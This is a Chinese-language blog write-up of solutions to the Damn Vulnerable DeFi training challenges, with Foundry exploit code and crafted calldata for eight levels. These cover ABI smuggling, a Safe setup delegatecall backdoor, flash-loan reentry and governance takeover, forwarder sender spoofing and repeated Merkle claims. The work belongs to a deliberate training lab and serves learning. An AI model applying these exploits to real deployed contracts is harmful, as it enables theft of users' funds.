刷点区块链,onlypwner也很不错,但是不给发wp,就发发这个的,项目地址:https://github.com/theredguild/damn-vulnerable-defi ,用foundry写起来很方便,持续更新

abi-smuggling

合约很短,目标是把vault里所有代币转到recovery账户,注意到有个函数是直接转address(this).balance

function sweepFunds(address receiver, IERC20 token) external onlyThis {
        SafeTransferLib.safeTransfer(address(token), receiver, token.balanceOf(address(this)));
    }

于是本题目标大概率就是调用这个函数,但是有个onlyThis的modifier

modifier onlyThis() {
        if (msg.sender != address(this)) {
            revert CallerNotAllowed();
        }
        _;
    }

于是就得看看别的功能,比如这个execute

function execute(
        address target,
        bytes calldata actionData
    ) external nonReentrant returns (bytes memory) {
        // console.logBytes(msg.data);
        // Read the 4-bytes selector at the beginning of `actionData`
        bytes4 selector;
        uint256 calldataOffset = 4 + 32 * 3; // calldata position where `actionData` begins
        assembly {
            selector := calldataload(calldataOffset)
        }
        // console.logBytes(abi.encodePacked(selector, msg.sender, target));
        if (!permissions[getActionId(selector, msg.sender, target)]) {
            revert NotAllowed();
        }

        _beforeFunctionCall(target, actionData);

        return target.functionCall(actionData);
    }

其中的permissions是这样设置的

bytes32 deployerPermission = vault.getActionId(
            hex"85fb709d",
            deployer,
            address(vault)
        );
        bytes32 playerPermission = vault.getActionId(
            hex"d9caed12",
            player,
            address(vault)
        );

其中85fb709d和d9caed12分别是sweepFunds和withdraw函数的选择器

由于msg.sender确实改不了。所以需要自行构造calldata去让他内联汇编得到的selector是d9caed12而实际调用的其实是sweepFunds的,也算是经典问题了,也不多说,直接上calldata

1cff79cd //execute函数的选择器
0000000000000000000000001240fa2a84dd9157a0e76b5cfe98b1d52268b264 //target参数(只能设为address(vault))
0000000000000000000000000000000000000000000000000000000000000080 // 偏移,利用这里的便宜使得实际使用的actionData是后面那个
0000000000000000000000000000000000000000000000000000000000000000 // 补啥都行
d9caed1200000000000000000000000000000000000000000000000000000000 //execute里的selector就取的这个
0000000000000000000000000000000000000000000000000000000000000044 //真正的actionData开始
85fb709d00000000000000000000000073030B99950fB19C6A813465E58A0BcA5487FBEa0000000000000000000000008ad159a275aee56fb2334dbb69036e9c7bacee9b00000000000000000000000000000000000000000000000000000000

下面这段也简单说一下

85fb709d //sweepFunds的选择器
00000000000000000000000073030B99950fB19C6A813465E58A0BcA5487FBEa // recovery
0000000000000000000000008ad159a275aee56fb2334dbb69036e9c7bacee9b // token
00000000000000000000000000000000000000000000000000000000 //补到32整数倍

构造完直接call就行

bytes memory final_call = hex"1cff79cd0000000000000000000000001240fa2a84dd9157a0e76b5cfe98b1d52268b26400000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000d9caed1200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004485fb709d00000000000000000000000073030B99950fB19C6A813465E58A0BcA5487FBEa0000000000000000000000008ad159a275aee56fb2334dbb69036e9c7bacee9b00000000000000000000000000000000000000000000000000000000";
address(vault).call(final_call);

test一下可以看到非常成功

forge test -vvvvv --mp ./test/abi-smuggling/ABISmuggling.t.sol

backdoor

有点小难,要看的合约有点多,题目要求在一次交易中把所有代币都转到recovery账户

整体就是为每个airdrop的接受者生成一个代理钱包收钱,但是在setup函数里有一个setupModules,里面是用delegatecall做一些事情,就有了可乘之机

function setup(
        address[] calldata _owners,
        uint256 _threshold,
        address to,
        bytes calldata data,
        address fallbackHandler,
        address paymentToken,
        uint256 payment,
        address payable paymentReceiver
    ) external {
        // setupOwners checks if the Threshold is already set, therefore preventing that this method is called twice
        setupOwners(_owners, _threshold);
        if (fallbackHandler != address(0)) internalSetFallbackHandler(fallbackHandler);
        // As setupOwners can only be called if the contract has not been initialized we don't need a check for setupModules
        setupModules(to, data);

        if (payment > 0) {
            // To avoid running into issues with EIP-170 we reuse the handlePayment function (to avoid adjusting code of that has been verified we do not adjust the method itself)
            // baseGas = 0, gasPrice = 1 and gas = payment => amount = (payment + 0) * 1 = payment
            handlePayment(payment, 0, 1, paymentToken, paymentReceiver);
        }
        emit SafeSetup(msg.sender, _owners, _threshold, to, fallbackHandler);
    }

题目合约里的proxyCreated函数最后会把10ether转给factory生成的代理合约,所以就在想着能不能让这个setupModules的calldata去call一下ERC20的approve,然后转账完了直接transferfrom就可以了

于是可以写出攻击合约:

contract Backdoor {
    address[] users;
    Safe singletonCopy;
    SafeProxyFactory walletFactory;
    DamnValuableToken token;
    WalletRegistry walletRegistry;
    address recovery;

    constructor(
        address[] memory _users,
        address _singletonCopy,
        address _walletFactory,
        address _token,
        address _walletRegistry,
        address _recovery
    ) {
        users = _users;
        singletonCopy = Safe(payable(_singletonCopy));
        walletFactory = SafeProxyFactory(_walletFactory);
        token = DamnValuableToken(_token);
        walletRegistry = WalletRegistry(_walletRegistry);
        recovery = _recovery;
    }

    function fakeapprove(
        address _token,
        address _recovery,
        uint256 _amount
    ) external {
        DamnValuableToken(_token).approve(_recovery, _amount);
    }

    function attack() external {
        for (uint i = 0; i < users.length; i++) {
            address[] memory _owners = new address[](1);
            _owners[0] = users[i];
            bytes memory Module_call_data = abi.encodeWithSignature(
                "fakeapprove(address,address,uint256)",
                address(token),
                address(this),
                10 ether
            );
            bytes memory test_call = abi.encodeWithSelector(
                singletonCopy.setup.selector,
                _owners,
                1,
                address(this),
                Module_call_data,
                address(0),
                address(0),
                0,
                address(0)
            );
            walletFactory.createProxyWithCallback(
                address(singletonCopy),
                test_call,
                0,
                walletRegistry
            );
            address generated_proxy = walletRegistry.wallets(users[i]);
            console.log(token.balanceOf(generated_proxy));
            console.log(token.allowance(generated_proxy, address(this)));
            // console.log(generated_proxy);
            token.transferFrom(generated_proxy, address(this), 10 ether);
            token.transfer(recovery, 10 ether);
        }
    }
}

approve这一步需要自己写一下,不能直接在setupModules里面去调用approve,因为这一步是delegatecall,会在代理合约的上下文中进行,如果直接approve就会导致msg.sender是factory合约,但是如果在这次delegatecall里去调用自己写的Backddor合约里的fakeapprove函数去approve的话msg.sender就会是代理合约了

这里一开始我是直接给recovery账户approve的,但是不知道为什么后面的transferFrom一直会panic,搞不明白,后来以这个Backdoor合约自己做一下中转就可以了,不是很明白什么原因

test_backdoor直接部署这个合约就行

function test_backdoor() public checkSolvedByPlayer {
        // console.logBytes4(singletonCopy.setup.selector);
        /* walletFactory.createProxyWithCallback(
            address(singletonCopy),
            data,
            0,
            walletRegistry
        );*/
        Backdoor backdoor = new Backdoor(
            users,
            address(singletonCopy),
            address(walletFactory),
            address(token),
            address(walletRegistry),
            address(recovery)
        );
        backdoor.attack();
    }

unstoppable

一个经典的dos,直接把自己的代币transfer给vault就行了,就会导致monitor检查的时候过不了这一条

if (convertToShares(totalSupply) != balanceBefore)
            revert InvalidBalance(); // enforce ERC4626 requirement

Exp:

function test_unstoppable() public checkSolvedByPlayer {
token.transfer(address(vault), 1 ether);
}

naive-receiver

目的是掏空receiver的10eth和pool里的100eth,receiver掏起来很简单,直接调用10次flashloan就行,每次会收他1eth的fee,进行完这一步后pool里就1010eth了,接下来就要吧这些全偷了

可以看到flashloan后所有的fee是到了feeReceiver的账户里,而这个账户就是deployer,所以此时deposits[feeReceiver]就是1010eth

此时如果能控制withdraw函数里的_msgSender()返回deployer的地址就行了,这还是挺容易的,只要控制一下calldata就行

又因为需要在2笔交易内完成,所以直接用那个multicall就行,写11个calldata,前十个用来掏空receiver,最后一个掏空pool,注意最后掏空pool的时候calldata得在后面加上一个deployer,这样_msgSender()就能返回deployer的地址,签名那里的hash值是BasicForwarder.sol里的_hashTypedData(getDataHash(request))的返回值

exp:

    function test_naiveReceiver() public checkSolvedByPlayer {
        bytes memory call_receiver = abi.encodeWithSignature(
            "flashLoan(address,address,uint256,bytes)",
            IERC3156FlashBorrower(address(receiver)),
            address(weth),
            1 ether,
            bytes("")
        );

        bytes memory call_pool = abi.encodePacked(
            abi.encodeWithSignature(
                "withdraw(uint256,address)",
                1010 ether,
                recovery
            ),
            deployer
        );

        bytes[] memory calls = new bytes[](11);

        for (uint256 i = 0; i < 10; i++) {
            calls[i] = call_receiver;
        }
        calls[10] = call_pool;

        BasicForwarder.Request memory request = BasicForwarder.Request({
            from: player,
            target: address(pool),
            value: 0,
            gas: 1000000,
            nonce: 0,
            data: abi.encodeWithSignature("multicall(bytes[])", calls),
            deadline: block.timestamp + 1
        });

        (uint8 v, bytes32 r, bytes32 s) = vm.sign(
            playerPk,
            hex"93d1013a86f6910413c4664bac55cef52aee84d753f2d3e6067034e83259cee1"
        );
        bytes memory signature = abi.encodePacked(r, s, v);
        console.logBytes(signature);
        forwarder.execute(request, signature);
    }

Truster

这是真简单,直接让pool去call一下token去approve就行了,amount就设为0

但是还是不知道为什么不能直接approve给recovery然后直接transferFrom,这样会panic

Exp:

    function test_truster() public checkSolvedByPlayer {
        Hack hack = new Hack(address(pool), address(token), recovery);
    }

    contract Hack {
    constructor(address _pool, address _token, address _recovery) {
        TrusterLenderPool pool = TrusterLenderPool(_pool);
        DamnValuableToken token = DamnValuableToken(_token);
        bytes memory data = abi.encodeWithSignature(
            "approve(address,uint256)",
            address(this),
            type(uint256).max
        );
        pool.flashLoan(0, address(0), _token, data);
        token.transferFrom(_pool, address(this), token.balanceOf(_pool));
        token.transfer(_recovery, token.balanceOf(address(this)));
    }
}

side-entrance

闪电贷经典漏洞,调用execute的时候去deposit就行,因为这里还款后只检测pool的余额

Exp:

    function test_sideEntrance() public checkSolvedByPlayer {
        Hack hack = new Hack(address(pool), recovery);
        hack.attack();
    }

    contract Hack {
    SideEntranceLenderPool pool;
    address recovery;
    constructor(address _pool, address _recovery) payable {
        pool = SideEntranceLenderPool(_pool);
        recovery = _recovery;
    }
    function attack() external {
        pool.flashLoan(address(pool).balance);
        pool.withdraw();
        payable(recovery).transfer(address(this).balance);
    }
    function execute() external payable {
        pool.deposit{value: msg.value}();
    }
    fallback() external payable {}
}

the-rewarder

有点子莫名其妙,直接整个超长claim就行了,根据claimRewards的逻辑

注意测试的时候不要开-vvvvv,不然卡死你

if (token != inputTokens[inputClaim.tokenIndex]) {
                if (address(token) != address(0)) {
                    if (!_setClaimed(token, amount, wordPosition, bitsSet))
                        revert AlreadyClaimed();
                }

                token = inputTokens[inputClaim.tokenIndex];
                bitsSet = 1 << bitPosition; // set bit at given position
                amount = inputClaim.amount;
            } else {
                bitsSet = bitsSet | (1 << bitPosition);
                amount += inputClaim.amount;
            }

            // for the last claim
            if (i == inputClaims.length - 1) {
                if (!_setClaimed(token, amount, wordPosition, bitsSet))
                    revert AlreadyClaimed();
            }

如果token和inputTokens[inputClaim.tokenIndex]相等就会一直加amount,直到最后一个才去调用_setClaimed,那直接整个特长的claim就行了,一次性掏空,需要先提前计算一下最多能接受几次airdrop,json文件里有player的地址,发现airdrop数额分别是11524763827831882和1171088749244340,并且总额是10eth和1eth,直接算一下就行了

>>> (10**19) / 11524763827831882
867.696739767488
>>> (10**18) / 1171088749244340
853.9062480493154

所以就整一个867+853长度的claim就行,最后把token全转给recovery,简单

Exp:

function test_theRewarder() public checkSolvedByPlayer {
        Claim[] memory claims = new Claim[](867 + 853);
        bytes32[] memory dvtLeaves = _loadRewards(
            "/test/the-rewarder/dvt-distribution.json"
        );
        bytes32[] memory wethLeaves = _loadRewards(
            "/test/the-rewarder/weth-distribution.json"
        );
        IERC20[] memory tokensToClaim = new IERC20[](2);
        tokensToClaim[0] = IERC20(address(dvt));
        tokensToClaim[1] = IERC20(address(weth));

        claims[0] = Claim({
            batchNumber: 0, // claim corresponds to first DVT batch
            amount: 11524763827831882,
            tokenIndex: 0, // claim corresponds to first token in `tokensToClaim` array
            proof: merkle.getProof(dvtLeaves, 188) // Alice's address is at index 2
        });

        for (uint i = 0; i < 866; i++) {
            claims[i + 1] = claims[0];
        }

        claims[867] = Claim({
            batchNumber: 0, // claim corresponds to first WETH batch
            amount: 1171088749244340,
            tokenIndex: 1, // claim corresponds to second token in `tokensToClaim` array
            proof: merkle.getProof(wethLeaves, 188) // Alice's address is at index 2
        });

        for (uint i = 0; i < 852; i++) {
            claims[i + 868] = claims[867];
        }

        distributor.claimRewards({
            inputClaims: claims,
            inputTokens: tokensToClaim
        });

        dvt.transfer(recovery, dvt.balanceOf(player));
        weth.transfer(recovery, weth.balanceOf(player));
    }

selfie

这题也挺简单的,但是一开始真的是完全不知道哪里可以绕过等待两天的限制,最后看了wp才知道是用foundry的cheatcode去调时间,六百六十六

总体就是闪电贷借个150万eth然后拿去增加自己的vote,然后在SimpleGovernance那里提一个action再改时间再execute就行了

exp:

    function test_selfie() public checkSolvedByPlayer {
        Hack hack = new Hack(
            address(token),
            address(governance),
            address(pool),
            recovery
        );
        hack.attack1();
        vm.warp(block.timestamp + 2 days);
        hack.attack2();
    }

    contract Hack {
    DamnValuableVotes token;
    SimpleGovernance governance;
    SelfiePool pool;
    address recovery;
    constructor(
        address _token,
        address _governance,
        address _pool,
        address _recovery
    ) {
        token = DamnValuableVotes(_token);
        governance = SimpleGovernance(_governance);
        pool = SelfiePool(_pool);
        recovery = _recovery;
    }

    function onFlashLoan(
        address initiator,
        address ttoken,
        uint256 amount,
        uint256 fee,
        bytes calldata data
    ) external returns (bytes32) {
        token.delegate(address(this));
        governance.queueAction(
            address(pool),
            0,
            abi.encodeWithSignature("emergencyExit(address)", recovery)
        );
        DamnValuableVotes(ttoken).approve(address(pool), type(uint256).max);
        return keccak256("ERC3156FlashBorrower.onFlashLoan");
    }

    function attack1() external {
        pool.flashLoan(
            IERC3156FlashBorrower(address(this)),
            address(token),
            token.balanceOf(address(pool)),
            ""
        );
    }

    function attack2() external {
        governance.executeAction(1);
    }
}